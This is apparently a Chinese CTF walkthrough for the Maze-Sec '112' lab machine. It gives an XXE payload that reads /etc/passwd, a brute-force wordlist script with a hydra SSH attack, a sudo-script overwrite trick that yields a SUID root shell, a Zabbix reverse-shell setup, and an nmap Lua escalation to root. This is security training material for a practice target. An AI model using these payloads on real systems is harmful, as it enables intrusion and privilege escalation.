Maze-Sec 112
# 靶机信息
靶机名称:112
靶机作者:ll104567/群主
靶机类型:Linux
难度:low-hard
来源:MazeSec/QQ内部群 660930334
官网:https://maze-sec.com/
# 目标主机
使用 arp-scan 扫描内网存活主机:
┌──(npc㉿kali)-[~/test1]
└─$ sudo arp-scan -I eth2 192.168.6.0/24
192.168.6.215 08:00:27:5c:0a:80 PCS Systemtechnik GmbH
2
3
4
目标主机 IP:192.168.1.10
# 端口扫描
使用 nmap 进行 TCP 全端口扫描:
┌──(npc㉿kali)-[~]
└─$ nmap 192.168.1.10 -p- -sT -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
2
3
4
5
6
发现开放了 22/ssh、80/http 端口
# 80 端口服务探测
访问 80 端口,展示了一个 xml 解析的页面:

尝试输入 xml 内容进行解析,测试是否存在 XXE 漏洞:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root><name>&xxe;</name></root>
2
3
4
5
页面存在 XXE 漏洞,成功读取 /etc/passwd 文件:

可以看到存在登录 shell 的用户 tuf,以及 tuf 用户后的几个服务用户
在 /etc/passwd 文件里,tuf 用户行存在注释 KQNPHFqG**JHcYJossIe,猜测可能是密码线索,两位掩码
tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash
# 爆破 tuf 用户密码
使用 python 脚本生成所有可能的两位字母数字组合,爆破 tuf 用户密码:
# file: generate_passwords.py
import itertools
import string
def generate_passwords():
# 配置信息
base_pwd = "KQNPHFqG**JHcYJossIe"
output_file = "pass.txt"
# 字符集:a-z, A-Z, 0-9
charset = string.ascii_letters + string.digits
# 计算所有 2 位组合 (62 * 62 = 3844)
combinations = itertools.product(charset, repeat=2)
print(f"正在生成密码并写入 {output_file}...")
try:
with open(output_file, "w", encoding="utf-8") as f:
count = 0
for combo in combinations:
# 拼接两个掩码字符
replacement = "".join(combo)
# 替换原始字符串中的 **
new_password = base_pwd.replace("**", replacement)
# 写入文件并换行
f.write(new_password + "\n")
count += 1
print(f"成功!已生成 {count} 个密码到 {output_file}。")
except Exception as e:
print(f"写入失败: {e}")
if __name__ == "__main__":
generate_passwords()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
使用 hydra 指定密码字典对 tuf 用户进行爆破:
┌──(npc㉿kali)-[~]
└─$ python3 bp.py
正在生成密码并写入 pass.txt...
成功!已生成 3844 个密码到 pass.txt。
┌──(npc㉿kali)-[~]
└─$ hydra -l tuf -P pass.txt ssh://192.168.1.10 -e nsr
2
3
4
5
6
7

爆破出 tuf 用户密码为 KQNPHFqG6mJHcYJossIe
# sudo 提权
# 方案一:ta0方案(路径解析利用)
# 1.1、sudo 脚本分析
使用爆破出的密码登录 tuf 用户,tuf 用户可以 sudo 权限执行 /opt/112.sh

脚本内容:
tuf@112:~$ cat /opt/112.sh
#!/bin/bash
input_url=""
output_file=""
use_file=false
regex='^https://maze-sec.com/[a-zA-Z0-9/]*$'
while getopts ":u:o:" opt; do
case ${opt} in
u) input_url="$OPTARG" ;;
o) output_file="$OPTARG"; use_file=true ;;
\?) echo "错误: 无效选项 -$OPTARG"; exit 1 ;;
:) echo "错误: 选项 -$OPTARG 需要一个参数"; exit 1 ;;
esac
done
if [[ -z "$input_url" ]]; then
echo "错误: 必须使用 -u 参数提供URL"
exit 1
fi
if [[ ! "$input_url" =~ ^https://maze-sec.com/ ]]; then
echo "错误: URL必须以 https://maze-sec.com/ 开头"
exit 1
fi
if [[ ! "$input_url" =~ $regex ]]; then
echo "错误: URL包含非法字符,只允许字母、数字和斜杠"
exit 1
fi
if (( RANDOM % 2 )); then
result="$input_url is a good url."
else
result="$input_url is not a good url."
fi
if [ "$use_file" = true ]; then
echo "$result" > "$output_file"
echo "结果已保存到: $output_file"
else
echo "$result"
fi
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
通过注释或分析脚本可以知道脚本的功能:接受一个 URL 参数 -u,并判断 URL 是否符合要求,然后输出随机结果,若指定了 -o 参数则将结果写入文件,url 部分可控,任意文件覆盖。
# 1.2、前置内容补充
补充一些过渡内容:
- 1、unix 路径中如果存在多个
/等价于单个/,例如/opt//112.sh等价于/opt/112.sh。 - 2、在 Linux 中,目录名和文件名几乎可以使用任何字符(除了
/和 null 字符),包括空格、制表符、换行符以及其他特殊字符都是允许的。 - 3、当 sudo/ shell 尝试执行一个无 shebang 的可执行文本文件时,底层 execve 返回ENOEXEC,调用方通常会退回用 /bin/sh(或其指定的 shell)来解释执行该文件。
这里在引出 ta0 方案:
如果命令名包含 /,shell 会将其视为路径(绝对或相对)直接执行,而不会在 $PATH 中查找;若为相对路径,则以当前工作目录为基准解析。
核心原理:
这个脚本的 -o 参数允许我们将验证结果(如 https://maze-sec.com/111 is a good url.)写入任意文件。
- 1、如果我们利用这一特性,将结果覆盖脚本自身(/opt/112.sh),旧的脚本内容(包括 #!/bin/bash)就会丢失。
- 2、当我们再次 sudo 执行该脚本时,Shell 读取到的第一行代码变成了以 https:// 开头的字符串。
- 3、由于该字符串包含 /,Shell 会将其视为相对路径命令执行,即尝试在当前目录下寻找 https: 文件夹下的 maze-sec.com 文件夹下的 111 可执行文件。
- 4、只要我们提前在当前目录构建好这个文件夹结构并放入恶意文件,即可实现 Root 权限命令执行。
# 1.3、路径解析利用
例如下面,这里就是一个相对路径,https://maze-sec.com/111 会被解析为当前目录下的 https:/maze-sec.com/111 文件并执行,后面的 is a good url. 会被当作参数传递给该脚本:
https://maze-sec.com/111 is a good url.
测试:
tuf@112:~$ echo 'https://maze-sec.com/111 is a good url.' > test.sh
tuf@112:~$ chmod +x test.sh
tuf@112:~$ ./test.sh
./test.sh: line 1: https://maze-sec.com/111: No such file or directory
tuf@112:~$ mkdir -p 'https://maze-sec.com/'
tuf@112:~$ echo 'whoami' > https\:/maze-sec.com/111
tuf@112:~$ chmod +x https\:/maze-sec.com/111
tuf@112:~$ ./test.sh
tuf
2
3
4
5
6
7
8
9

成功执行了 https://maze-sec.com/111 脚本,输出 tuf 用户名
如果把 https://maze-sec.com/111 is a good url. 输出覆盖 /opt/112.sh 脚本,再用 sudo 执行,通过修改 111 文件内容就可以实现任意命令执行。
tuf@112:~$ sudo /opt/112.sh -o /opt/112.sh -u https://maze-sec.com/111
结果已保存到: /opt/112.sh
tuf@112:~$ cat /opt/112.sh
https://maze-sec.com/111 is a good url.
tuf@112:~$ sudo /opt/112.sh
root
tuf@112:~$ echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > https\:/maze-sec.com/111
tuf@112:~$ sudo /opt/112.sh
tuf@112:~$ ls -alh /tmp/bash
-rwsr-sr-x 1 root root 1.2M Jan 16 11:37 /tmp/bash
tuf@112:~$ /tmp/bash -p
bash-5.0# id
uid=1000(tuf) gid=1000(tuf) euid=0(root) egid=0(root) groups=0(root),1000(tuf)
bash-5.0#
2
3
4
5
6
7
8
9
10
11
12
13
14

# 方案二:毛坯房方案
毛坯房方案:靶机作者构建了预期提权利用链,靶机部署环节部分留空,需要选手自行补全实现漏洞环境利用。
在 sudoers.d 目录下,有 sudo 授权配置文件 zabbix 且可读

tuf@112:~$ cat /etc/sudoers.d/zabbix
zabbix ALL = (ALL) NOPASSWD: /usr/bin/nmap -O *
2
zabbix 用户可以无密码 sudo 执行 nmap 的 -O 参数进行操作系统探测功能。
那么提权问题就变成了如何上线 zabbix 用户的问题,在进程里也没有看到 zabbix 相关服务。
zabbix 官方文档 - 安装 (opens new window)

# 2.1、环境补充与 Web 部署
检查靶机是否注册了 zabbix 服务,zabbix 服务启动失败

收集靶机 zabbix 服务相关信息

DBHost=localhost
DBName=zabbix
DBUser=zabbix
DBPassword=your_strong_password
2
3
4
zabbix 配置文件内的 mysql 密码正确,数据库为空

查看 zabbix 配置文件里的 日志文件内容

可以确定zabbix-server 已安装并尝试启动,但日志提示 zabbix.users 表不存在并判定 “database is not a Zabbix database”,说明数据库未导入 Zabbix 初始化 schema/data,导致服务端无法运行
另外还可以知道 zabbix-server 版本Zabbix 5.0.8 (revision d3c78f993a)
5297:20260108:061706.794 [Z3005] query failed: [1146] Table 'zabbix.users' doesn't exist [select userid from users limit 1]
5297:20260108:061706.794 cannot use database "zabbix": database is not a Zabbix database
2
找到 zabbix-server 5.0.8 版本的初始化数据库文件,使用 zcat 命令直接把 .gz 压缩文件解压后输出到标准输出,再通过管道传递给 mysql 命令导入到 zabbix 数据库中:
# 重新构建数据库
mysql -u zabbix -p'your_strong_password' -e "DROP DATABASE zabbix; CREATE DATABASE zabbix CHARACTER SET utf8 COLLATE utf8_bin;"
#导入数据库
zcat /usr/share/zabbix-server-mysql/{schema,images,data}.sql.gz | mysql -u zabbix -p'your_strong_password' zabbix
2
3
4
导入后,重启靶机,观察 zabbix 服务状态

部署一个 zabbix web 前端页面,可以通过默认的用户名密码 Admin:zabbix 登录进入后台添加反弹shell命令
Google 找到 zabbix 5.0.8 版本的源码包

https://cdn.zabbix.com/zabbix/sources/oldstable/5.0/zabbix-5.0.8.tar.gz (opens new window)
下载源码包到靶机 /tmp 目录,解压后进入 web ui 目录
cd /tmp
wget https://cdn.zabbix.com/zabbix/sources/oldstable/5.0/zabbix-5.0.8.tar.gz
tar -xvf zabbix-5.0.8.tar.gz
cd zabbix-5.0.8/ui/
php -S 0.0.0.0:8000
2
3
4
5
访问靶机 8000 端口,进入 zabbix 部署页面,检查环境依赖遇到很多问题,有些要求php.ini配置修改,有些要求php模块安装

再次启动,缺少 php-bcmath 模块
/tmp/php -S 0.0.0.0:8000 -d post_max_size=16M -d max_execution_time=300 -d max_input_time=300 -d memory_limit=128M -d extension=bcmath -d extension=gd -d extension=mbstring -d extension=xmlreader -d extension=xmlwriter

# 2.2、静态编译 php-cli 解决依赖问题
发现个好玩的Github项目 static-php-cli,可以很好地解决这个问题 https://github.com/crazywhalecc/static-php-cli (opens new window)
可以自己编译一个静态编译的 php-cli,或者直接下载别人编译好的版本

这里提供了已经编译好的静态php文件
https://dl.static-php.dev/static-php-cli/bulk/

wget https://dl.static-php.dev/static-php-cli/bulk/php-8.0.30-cli-linux-x86_64.tar.gz
tar -xvf php-8.0.30-cli-linux-x86_64.tar.gz
./php -m
2
3
已经有了 bcmath 模块,把这个静态编译的 php-cli 上传到靶机,使用这个 php-cli 启动 zabbix web ui

在 cli 启动时,直接指定 php.ini 配置参数,解决之前遇到的各种对 php.ini 的配置问题
/tmp/php -S 0.0.0.0:8000 \
-d date.timezone=Asia/Shanghai \
-d post_max_size=16M \
-d max_execution_time=300 \
-d max_input_time=300 \
-d display_errors=Off \
-t /tmp/zabbix-5.0.8/ui
2
3
4
5
6
7
正常部署

在官网可以拿到默认用户名密码https://www.zabbix.com/documentation/7.0/zh/manual/quickstart/login (opens new window)


# 2.3、zabbix 提权
在 zabbix 后台添加一个 反弹 shell 脚本


在主机监控处触发反弹shell脚本


zabbix 用户可以 sudo 执行 nmap -O 参数,-O: Enable OS detection 用来启用操作系统探测功能,后面通配符部分可以随意发挥
Gtfobins 找 nmap 提权,nmap可以执行lua脚本,利用 lua 脚本执行任意命令

echo 'os.execute("/bin/bash -p")' > /tmp/exp.lua
sudo nmap -O 127.0.0.1 --script=/tmp/exp.lua
2
